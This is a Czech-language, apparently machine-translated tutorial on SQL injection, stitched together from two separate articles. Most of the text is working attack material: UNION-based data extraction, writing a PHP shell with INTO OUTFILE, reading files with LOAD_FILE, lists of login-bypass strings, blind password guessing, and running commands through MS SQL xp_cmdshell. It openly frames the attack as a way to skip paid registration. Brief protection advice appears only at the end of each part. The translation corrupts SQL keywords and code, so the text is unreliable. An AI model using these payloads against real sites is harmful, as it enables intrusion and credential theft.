Pro "vstupní parametr řetězce" jako ve skriptu index2.php na začátek je potřeba přidat uvozovky a na konec komentář. Příklad:
sqlinj/index2.php?user=-1" UNION SELECT název,2,pass,4,5 FROM users WHERE id=1 --%20

Čtení/zápis souborů

Pro čtení a zápis souborů musí mít uživatel databáze práva FILE_PRIV.
Nahrávání souborů
Ve skutečnosti je vše velmi jednoduché. K zápisu souboru použijeme funkci OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 DO OUTFILE "1.php" --%20
Výborně, soubor byl u nás zaregistrován. Můžeme tedy vyplnit mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 DO OUTFILE "1.php" --%20
Čtení souborů
Čtení souborů je ještě jednodušší než zápis. Funkci stačí jednoduše použít LOAD_FILE, pro místo pole, které vybereme:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Přečetli jsme tedy předchozí zapsaný soubor.

Způsoby ochrany

Chránit se je ještě jednodušší než zneužít zranitelnost. Stačí data filtrovat. Pokud předáváte čísla, použijte
$id = (int) $_GET["id"];
Jak navrhl uživatel malroc. Chraňte se pomocí CHOP nebo připravených výpisů.

Místo dokončení

Zde chci dokončit svou první část o „vkládání SQL pro začátečníky“. Ve druhém se podíváme na závažnější příklady injekcí. Zkuste sami psát zranitelné skripty a spouštět dotazy.
A nezapomeňte, že nedůvěřujte žádnému uživateli vašeho webu.

Štítky: Přidat štítky

SQL Injection docela dobrá příležitost pro hackera
přístup k serveru. A s trochou snahy i on
ještě to chápe :)

Kodér uvnitř

V dnešní době je podporována práce s databázemi
téměř všechny programovací jazyky, mezi ně patří BASIC, C++, Java, PERL, PHP, Assembler a dokonce i JavaScript! A těmto programům se neříká nic jiného než DBMS – systémy pro správu databází. Databáze se často používají k řešení finančních problémů,
účetnictví, personální organizace, ale své uplatnění našly i na internetu.

Databáze se často používají k psaní WEB aplikací. Jejich použití je nejvhodnější pro ukládání registračních údajů uživatelů, identifikátorů relací, organizování vyhledávání a dalších úkolů vyžadujících více zpracování
množství dat. Pro přístup k databázi se používají serverové technologie: PHP, PERL, ASP atd. Tady začíná zábava. Když na serveru
všechny záplaty jsou nainstalovány a firewall blokuje všechny porty kromě portu 80 nebo když je vyžadována autentizace pro přístup k některým datům, může hacker použít SQL Injection k hacknutí. Podstatou tohoto útoku je zneužití chyby na průsečíku WEB technologií a SQL. Faktem je, že mnoho webových stránek pro zpracování uživatelských dat tvoří speciální SQL požadavek na databázi. Neopatrné používání této techniky může vést k docela zajímavým výsledkům...

SQL Injection

Pro vysvětlení útoku si představme, že jste si šli na stránky stáhnout jeden velmi důležitý nástroj a s hrůzou si všimněte, že tohle může udělat jen registrovaný uživatel a registrace samozřejmě stojí peníze :) Nechcete rozdávat vaše poslední vydělané peníze, ale bez programu to nemůžete udělat! Je čas si připomenout jak
přístup k databázím SQL. Například kontrola vašeho přihlašovacího jména a hesla v PHP může vypadat takto:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$heslo"");
$num_rows=mysql_num_rows($vysledek);
mysql_close($odkaz);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
jiný
{
// CHYBA OVĚŘENÍ
}

Přidal jsem dva komentáře, "AUTHENTICATION OK" - měl bych to nahradit
přejděte na kód, který bude proveden, pokud je heslo a přihlašovací jméno správné. Další „CHYBA AUTHENTICATION“ je místo, kde bude popsán kód, který bude proveden, pokud jsou nesprávné. Pokud vyplníte formulář, požadavek bude vypadat takto „http://www.server.com?login=user&password=31337“, kde www.server.com je název
server, ke kterému se pokoušíme připojit. Našli jsme, co jsme hledali, a proto se znovu vrátíme do práce SQL. Pokud tedy musíte zadat přihlašovací jméno a heslo pro autorizaci, vygeneruje se SQLžádost bude vypadat takto:

SELECT * FROM users WHERE login="user" AND
heslo="31337"

To znamená něco takového: vraťte mi všechny záznamy z databáze uživatelů, jejichž přihlašovací jméno je „user“ a heslo je „31337“. Pokud takový záznam existuje, tak je uživatel registrován, ale pokud ne, tak ne... Ale za určitých okolností lze vše napravit. Jedná se o situaci, kdy aplikace nekontroluje obsah přenášených dat nebo je zcela nezkontroluje na přítomnost SQL instrukce. V tomto příkladu jsou zaškrtnuta dvě pole login a password, ale pokud jako heslo zadáte „31337′ AND email=“ [e-mail chráněný]“(bez uvozovek), pak dotaz dopadne trochu jinak:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email=" [e-mail chráněný]"

A pokud pole email existuje, bude tato podmínka také zkontrolována. Pokud si pamatujete základy Booleovy algebry, napadne vás, že kromě operace „a“ existuje také „nebo“, a protože jejich použití podporuje SQL, můžete
popsaným způsobem přidejte podmínku, která vždy vrátí hodnotu true. Chcete-li to provést, musíte zadat „uživatel“ NEBO 1=1–“ jako přihlašovací jméno, v takovém případě bude mít požadavek podobu:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
heslo="31337"

Nejprve byste měli vědět, že „-“ znamená konec požadavku a vše po „-“
nebude zpracováno! Ukázalo se, že jsme požádali:

SELECT * FROM users WHERE login="user" NEBO 1=1

Jak vidíte, přidali jsme podmínku „1=1“, což znamená, že ověřovací kritérium bude „pokud je přihlášení 'uživatel' nebo 1=1“, ale 1 se vždy rovná 1 (jedinou výjimkou může být aritmetika Daniho Shepovalova :)). Abychom otestovali naše podezření
Do adresního řádku zadejte „http://www.server.com?login=user or 1=1—&password=31337“. To vede k tomu, že nezáleží na tom, který login jsme zadali, ale
hlavně heslo! A jsme v matrixu... oh, v systému a můžeme si klidně stáhnout, co potřebujeme.

Ale to vše je teoreticky. V praxi nevíme, jak se žádost tvoří, jaká data jsou přenášena a v jakém pořadí. Proto je nutné pro všechna pole zadat „uživatel“ NEBO 1=1—. Měli byste také zkontrolovat, zda formulář pro odeslání neobsahuje skrytá pole. V HTML jsou popsány jako „ " Pokud nějaké existují, uložte stránku a změňte hodnoty těchto polí. Hodnoty v nich obsažené se často zapomínají na kontrolu přítomnosti příkazů SQL. Ale aby vše fungovalo, měli byste zadat úplnou cestu ke skriptu, který zpracovává tento požadavek, ve formuláři (tag „FORM“) pro parametr „ACTION“.

Ale ne vždy se ví, jak se žádost tvoří,
Předchozí příklad lze vytvořit následujícími způsoby:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=uživatel A heslo=31337

V tomto případě můžete vyzkoušet následující možnosti:

‚NEBO 1=1—
»NEBO 1=1—
NEBO 1=1—
‘NEBO ‘a’=’a
"NEBO "a"="a
‘) NEBO (‘a‘=‘a
NEBO '1'='1'

Vše záleží na účelu skriptu a na programátorovi. Vzhledem k tomu, že každý člověk má tendenci dělat vše po svém, je docela možné, že programátor nezvolí nejjednodušší možnost. Proto byste neměli okamžitě
vzdát se, pokud budeš odmítnut. Nutné
zkuste co nejvíce možností...

Detekce hesla

Obejití autorizace není špatné, ale velmi často je díra, kterou používáte, uzavřena a vše, co jste měli k dispozici, je ztraceno.
To se dá očekávat, pokud programátor není hlupák
Postupem času uzavře všechny mezery. Takových situací se můžete snadno zbavit tím, že se o to postaráte předem. Správným řešením může být uhodnutí hesla pomocí
analýza výsledků autentizace. Nejprve zkusme uhodnout heslo, k tomu zadejte jeho umístění:

‘NEBO heslo>’a

Pokud je nám řečeno, že autorizace byla předána, pak heslo
nezačíná písmenem „a“, ale jedním z následujících na seznamu. Pojďme dál a nahraďme
místo "a", další "b", "c", "d", "e"... atd. dokud nám neřeknou, že heslo není správné. Nechte tento proces zastavit u symbolu „x“, v takovém případě jsou vytvořeny dvě možnosti pro vývoj situace: heslo je nalezeno nebo heslo začíná tímto symbolem. Chcete-li zkontrolovat první možnost, napište umístění hesla:

‘NEBO heslo=’x

a pokud je heslo přijato a máte povolen vstup, pak jste heslo uhodli! No, ne, pak byste měli vybrat druhou postavu,
úplně to samé, od začátku. Zkontrolujte dva znaky
potřebovat totéž. Nakonec dostanete heslo a stejným způsobem budete hledat login :)
Pokud vám nalezené heslo a login nevyhovují, můžete si najít jiné. Chcete-li to provést, musíte začít s kontrolou od posledního znaku nalezeného hesla. Pokud tedy bylo heslo „xxx“, je nutné ověřit existenci hesla
"xxxy":

‘NEBO heslo=’xxx

abyste nepropásli více než jednu možnost!

MS SQL Server

MS SQL Server je obecně dar z nebes, pokud chybí potřebné filtrování. Pomocí chyby zabezpečení SQL Injection můžete spustit
příkazy na vzdáleném serveru pomocí exec master..xp_cmdshell. Ale použít tento design
musí být dokončena operace SELECT. V SQL jsou příkazy odděleny středníky. Proto, abyste se mohli připojit k nějaké IP přes Telnet, musíte zadat heslo/místo přihlášení:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server má několik dalších zajímavých funkcí, které vám umožní zjistit přihlašovací jména a hesla uložená v databázi. K tomu je chybový výstup přesměrován na libovolný server a přes ně
analýzy, můžete zjistit název tabulky, pole a jejich typy. Poté můžete požádat

‘ UNION SELECT TOP 1 přihlášení OD uživatelů—

(login je název pole obsahujícího přihlášení a uživatelé je název tabulky,
polovědci v procesu analýzy chyb).

Odpověď může být:


Chyba syntaxe při převodu hodnoty nvarchar "admin" to a column of data type int. !}
/default.asp, řádek 27

Nyní víme, že existuje uživatel jménem „admin“. Nyní můžeme získat jeho heslo:

‘ UNION SELECT TOP 1 heslo FROM users where login=’admin’—

Výsledek:

Chyba poskytovatele Microsoft OLE DB pro ovladače ODBC "80040e07"
Chyba syntaxe při převodu hodnoty nvarchar "xxx" to a column of data type int. !}
/tedault.asp, řádek 27

Nyní víme, že existuje uživatel „admin“ s heslem „xxx“. S tím můžete bezpečně
použijte to a přihlaste se do systému 😉

Ale existuje mnoho dalších funkcí pro práci s SQL,
Při práci s databází můžete také mazat data, upravovat je, vkládat vlastní a dokonce manipulovat se soubory a pracovat s registrem.
Obecně platí, že SQL Server pravidla :)

Ochrana

Ale tomu všemu se dá samozřejmě předejít. Chcete-li to provést, můžete
používat filtry,
poskytované výrobci. Můžete si najít své vlastní řešení, například nahradit všechny singly
dvojité uvozovky (pokud pro SQLžádost používáme jednotlivé), nebo naopak. Můžete povolit pouze použití písmen a s@baki, pokud potřebujete zadat
emailová adresa. A v perle je úžasné
funkce 🙂 quote() v modulu DBI::DBD, která úspěšně zajišťuje bezpečnost vašeho dotazu s ohledem na SQL. Řešení je mnoho, jen je potřebujete
využít. Jinak proč to všechno...